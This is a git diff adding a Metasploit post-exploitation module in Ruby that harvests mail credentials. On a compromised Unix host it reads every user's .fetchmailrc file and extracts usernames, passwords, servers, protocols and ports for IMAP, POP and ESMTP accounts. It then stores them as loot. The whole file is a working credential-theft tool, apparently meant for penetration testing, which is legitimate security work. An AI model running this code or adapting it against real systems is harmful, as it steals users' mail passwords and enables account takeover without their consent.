diff --git a/modules/post/multi/gather/fetchmailrc_creds.rb b/modules/post/multi/gather/fetchmailrc_creds.rb new file mode 100644 index 0000000000..820e2dd3c4 --- /dev/null +++ b/modules/post/multi/gather/fetchmailrc_creds.rb @@ -0,0 +1,168 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix/enum_user_dirs' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'UNIX Gather credentials saved in .fetchmailrc files', + 'Description' => %q{ + Post Module to obtain credentials saved for IMAP, POP and other mail + retrieval protocols in fetchmail's .fetchmailrc + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'Platform' => [ 'bsd', 'linux', 'osx', 'unix' ], + 'SessionTypes' => [ 'shell' ] + )) + end + + def run + # A table to store the found credentials. + cred_table = Rex::Ui::Text::Table.new( + 'Header' => ".fetchmailrc credentials", + 'Indent' => 1, + 'Columns' => + [ + "Username", + "Password", + "Server", + "Protocol", + "Port" + ]) + + # walk through each user directory + enum_user_directories.each do |user_dir| + fetchmailrc_file = ::File.join(user_dir, ".fetchmailrc") + begin + # read their .fetchmailrc if it exists + lines = cmd_exec("test -r #{fetchmailrc_file} && cat #{fetchmailrc_file}").lines.to_a + next if (lines.size <= 0) + print_status("Parsing #{fetchmailrc_file}") + + # delete any comments + lines.delete_if { |l| l =~ /^#/ } + # trim any leading/trailing whitespace + lines.map { |l| l.strip! } + # turn any multi-line config options into a single line to ease parsing + (lines.size - 1).downto(0) do |i| + # if the line we are reading doesn't signify a new configuration section... + if ((not lines[i] =~ /^(?:defaults|poll|skip)\s+/)) + # append the current line to the previous + lines[i-1] << " " + lines[i-1] << lines[i] + # and axe the current line + lines.delete_at(i) + end + end + + # any default options found, used as defaults for poll or skip lines + # that are missing options and want to use defaults + defaults = {} + + # now parse each line found + lines.each do |line| + # if there is a 'default' line, save any of these options as + # they should be used when subsequent poll/skip lines are missing them. + if (line =~ /^defaults/) + defaults = parse_fetchmailrc_line(line).first + next + end + + # now merge the currently parsed line with whatever defaults may have + # been found, then save if there is enough to save + parse_fetchmailrc_line(line).each do |cred| + cred = defaults.merge(cred) + if (cred[:host] and cred[:protocol]) + if (cred[:users].size == cred[:passwords].size) + cred[:users].each_index do |i| + cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ] + end + else + print_error("Skipping '#{line}' -- number of users and passwords not equal") + end + end + end + end + rescue ::Exception => e + print_error("Couldn't read #{fetchmailrc_file}: #{e.to_s}") + end + end + + + if cred_table.rows.empty? + print_status("No creds collected") + else + print_line("\n" + cred_table.to_s) + + # store all found credentials + p = store_loot( + "fetchmailrc.creds", + "text/csv", + session, + cred_table.to_csv, + "fetchmailrc_credentials.txt", + ".fetchmailrc credentials") + + print_status("Credentials stored in: #{p.to_s}") + end + end + + # Parse a line +line+, assumed to be from a fetchmail configuration file, + # returning an array of all credentials found on that line + def parse_fetchmailrc_line(line) + creds = [] + cred = {} + # parse and clean any users + users = line.scan(/\s+user(?:name)?\s+(\S+)/).flatten + unless (users.empty?) + cred[:users] = [] + users.each do |user| + cred[:users] << user.gsub(/^"/, '').gsub(/"$/, '') + end + end + # parse and clean any passwords + passwords = line.scan(/\s+pass(?:word)?\s+(\S+)/).flatten + unless (passwords.empty?) + cred[:passwords] = [] + passwords.each do |password| + cred[:passwords] << password.gsub(/^"/, '').gsub(/"$/, '') + end + end + # parse any hosts, ports and protocols + cred[:protocol] = $1 if (line =~ /\s+proto(?:col)?\s+(\S+)/) + cred[:port] = $1 if (line =~ /\s+(?:port|service)\s+(\S+)/) + cred[:host] = $1 if (line =~ /^(?:poll|skip)\s+(\S+)/) + # a 'via' option overrides poll/skip + cred[:host] = $1 if (line =~ /\s+via\s+(\S+)/) + # save this credential + creds << cred + # fetchmail can also "forward" mail by pulling it down with POP/IMAP and then + # connecting to some SMTP server and sending it. If ESMTP AUTH (RFC 2554) credentials + # are specified, steal those too. + cred = {} + cred[:users] = [ $1 ] if (line =~ /\s+esmtpname\s+(\S+)/) + cred[:passwords] = [ $1 ] if (line =~ /\s+esmtppassword\s+(\S+)/) + # XXX: what is the best way to get the host we are currently looting? localhost is lame. + cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? $1 : 'localhost') + cred[:protocol] = 'esmtp' + # save the ESMTP credentials if we've found enough + creds << cred if (cred[:users] and cred[:passwords] and cred[:host]) + # return all found credentials + creds + end + +end